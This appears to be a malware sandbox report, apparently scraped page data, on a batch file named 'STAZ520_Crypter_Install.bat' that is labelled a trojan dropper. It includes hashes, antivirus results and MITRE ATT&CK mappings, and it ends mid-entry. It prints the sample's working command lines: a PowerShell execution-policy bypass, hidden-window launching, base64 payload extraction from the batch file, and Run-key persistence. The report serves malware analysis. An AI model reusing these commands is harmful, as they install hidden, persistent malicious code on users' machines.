"password"; Source: "00000000-00001132.00000001.135191.D9F40000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.D9F60000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.D9F60000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00001132.00000001.135191.D9F60000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003984.00000001.136212.D9EB0000.00000004.mdmp")4f:T11f3,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00002212-00000BC0-1101967539") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00002212-00000BC0-1103828855") Found string "\Device\HarddiskVolume3\Windows\System32\attrib.exe" (Indicator: "\Device\"; Source: "00000000-00003400-00000BC0-1105315808") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00003400-00000BC0-1105418709") Found string "\Device\HarddiskVolume3\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003400-00000BC0-1115444311") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001132.00000000.134891.5C400000.00000004.mdmp, 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000000.134891.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.5C400000.00000004.mdmp, 00000000-00001132.00000001.135191.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, 00000000-00001132.00000001.135191.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001132.00000000.134891.5C400000.00000004.mdmp, 00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000000.134891.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.5C400000.00000004.mdmp, 00000000-00001132.00000001.135191.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp, 00000000-00001132.00000001.135191.5DE10000.00000004.mdmp, 00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C440000.00000004.mdmp") Found string "\Drivers\DriverD" (Indicator: "\drivers\"; Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000000.135868.82C50000.00000004.mdmp, 00000000-00003984.00000000.135868.84580000.00000004.mdmp, 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, 00000000-00003984.00000001.136212.82C50000.00000004.mdmp, 00000000-00003984.00000001.136212.84580000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, 00000000-00003984.00000001.136212.9D0F4000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000000.135868.82C50000.00000004.mdmp, 00000000-00003984.00000000.135868.84580000.00000004.mdmp, 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, 00000000-00003984.00000001.136212.82C50000.00000004.mdmp, 00000000-00003984.00000001.136212.84580000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, 00000000-00003984.00000001.136212.9D0F4000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriS" (Indicator: "\drivers\"; Source: "00000000-00003984.00000000.135868.82C50000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriS" (Indicator: "system32\drivers"; Source: "00000000-00003984.00000000.135868.82C50000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriX" (Indicator: "\drivers\"; Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriX" (Indicator: "system32\drivers"; Source: "00000000-00003984.00000001.136212.82C50000.00000004.mdmp")50:T669,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\ATTRIB.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CSC.EXE"; Value: "")51:T65a,file/memory contains long string with (Indicator: "Out-File"; File: "STAZ520_Crypter_Install.bat") file/memory contains long string with (Indicator: "Out-File"; File: "AMSI") file/memory contains long string with (Indicator: "Out-File"; File: "powershell.exe") file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp") Found string "48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}" (Indicator: "Out-File"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp") file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000000.135868.82C50000.00000004.mdmp, 00000000-00003984.00000000.135868.84580000.00000004.mdmp, 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, 00000000-00003984.00000001.136212.82C50000.00000004.mdmp, 00000000-00003984.00000001.136212.84580000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, 00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp") file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00003984.00000001.136212.82AD9000.00000004.mdmp")52:T5bb,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_jiokcb5i.evl.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qeqb4m2e.txf.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_onkt4v5k.4r3.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_4qcchjtf.j01.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_imbh4u2m.0yx.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_3fwyi0ub.ueu.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.pdb" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\do4x3zh4\do4x3zh4.0.cs" with delete access53:T6f0,Spawned process "cmd.exe" with commandline "/c ""C:\\STAZ520_Crypter_Install.bat" "" (UID: 00000000-00002212) Spawned process "cmd.exe" with commandline "/K "C:\\STAZ520_Crypter_Install.bat"" (UID: 00000000-00003400) Spawned process "attrib.exe" with commandline "attrib +h "%APPDATA%\\Microsoft\\118f410eb6ac"" (UID: 00000000-00001176) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content '%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''"" (UID: 00000000-00001132) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \\"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\\"" /f" (UID: 00000000-00007468) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $content = Get-Content -LiteralPath 'C:\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}"" (UID: 00000000-00003984) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\\ps_f8c40b9e.ps1"" (UID: 00000000-00008016) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\do4x3zh4\\do4x3zh4.cmdline"" (UID: 00000000-00004252) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESC150.tmp" "%TEMP%\\do4x3zh4\\CSCE6B3564F52F04B81932CE7DA7058C4C0.TMP"" (UID: 00000000-00001464)54:T50a,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_4ywdox0d.yv0.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_f0i3zdya.n00.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qhnj4ymm.ri5.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_5xcvzlxg.trq.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ixajzkm3.eqn.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_xryi4xgg.pqf.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rmcji0yx\rmcji0yx.dll" for deletion1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":85,"unified_at_epoch_ms":1791240432134,"unified_at":"2026-10-05T22:47:12.134Z","metadata":{"hashes":{"sha256":"feda854ecc1a6a8c56fb765c2964a5b2a9dbf1cff7ef9149b4e576d4a96e5269","sha1":"b90b3742272a7525d946d86b204a7a8d8b7060ae","md5":"150cf2ff4d599a768dac8067d84df0e6","sha512":"a92bbc1c2fb05fcfa6e8880fd935b1870e216060576857e5695b363d3f752bbdd76fa21403f33042e1e6e2c5b456c2bc8a6731cb974931d0e94add33549289bf","ssdeep":"24576:gSmhiJ1p+CAKoqTkDozigaLQB/sOTPe/ouewUWsoWJ6O90sqNTr5bg6axTPZAJ2S:O","ssdeep_chunks":["24576:gSmhiJ1","24576:SmhiJ1p","24576:mhiJ1p+","24576:hiJ1p+C","24576:iJ1p+CA","24576:J1p+CAK","24576:1p+CAKo","24576:p+CAKoq","24576:+CAKoqT","24576:CAKoqTk","24576:AKoqTkD","24576:KoqTkDo","24576:oqTkDoz","24576:qTkDozi","24576:TkDozig","24576:kDoziga","24576:DozigaL","24576:ozigaLQ","24576:zigaLQB","24576:igaLQB/","24576:gaLQB/s","24576:aLQB/sO","24576:LQB/sOT","24576:QB/sOTP","24576:B/sOTPe","24576:/sOTPe/","24576:sOTPe/o","24576:OTPe/ou","24576:TPe/oue","24576:Pe/ouew","24576:e/ouewU","24576:/ouewUW","24576:ouewUWs","24576:uewUWso","24576:ewUWsoW","24576:wUWsoWJ","24576:UWsoWJ6","24576:WsoWJ6O","24576:soWJ6O9","24576:oWJ6O90","24576:WJ6O90s","24576:J6O90sq","24576:6O90sqN","24576:O90sqNT","24576:90sqNTr","24576:0sqNTr5","24576:sqNTr5b","24576:qNTr5bg","24576:NTr5bg6","24576:Tr5bg6a","24576:r5bg6ax","24576:5bg6axT","24576:bg6axTP","24576:g6axTPZ","24576:6axTPZA","24576:axTPZAJ","24576:xTPZAJ2","24576:TPZAJ2S","49152:gSmhiJ1","49152:SmhiJ1p","49152:mhiJ1p+","49152:hiJ1p+C","49152:iJ1p+CA","49152:J1p+CAK","49152:1p+CAKo","49152:p+CAKoq","49152:+CAKoqT","49152:CAKoqTk","49152:AKoqTkD","49152:KoqTkDo","49152:oqTkDoz","49152:qTkDozi","49152:TkDozig","49152:kDoziga","49152:DozigaL","49152:ozigaLQ","49152:zigaLQB","49152:igaLQB/","49152:gaLQB/s","49152:aLQB/sO","49152:LQB/sOT","49152:QB/sOTP","49152:B/sOTPe","49152:/sOTPe/","49152:sOTPe/o","49152:OTPe/ou","49152:TPe/oue","49152:Pe/ouew","49152:e/ouewU","49152:/ouewUW","49152:ouewUWs","49152:uewUWso","49152:ewUWsoW","49152:wUWsoWJ","49152:UWsoWJ6","49152:WsoWJ6O","49152:soWJ6O9","49152:oWJ6O90","49152:WJ6O90s","49152:J6O90sq","49152:6O90sqN","49152:O90sqNT","49152:90sqNTr","49152:0sqNTr5","49152:sqNTr5b","49152:qNTr5bg","49152:NTr5bg6","49152:Tr5bg6a","49152:r5bg6ax","49152:5bg6axT","49152:bg6axTP","49152:g6axTPZ","49152:6axTPZA","49152:axTPZAJ","49152:xTPZAJ2","49152:TPZAJ2S"],"imphash":"Unknown"},"file_info":{"file_name":"STAZ520_Crypter_Install.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":4826371,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1762188150000,"last_seen":1762188173000,"last_multi_scan":1762188173000}},"detections":{"summary":{"verdict":"malicious","score":85,"tags":null},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":153,"suspicious_count":11,"malicious_count":7,"total":171},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"BAT/TrojanDropper.Agent.NUU trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"BAT/TrojanDropper.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Able to write/modify file content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"malicious","value":"Creates a thread in a remote process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Calls an API typically used to create a thread in another process"},{"type":"malicious","value":"Writes data to a remote 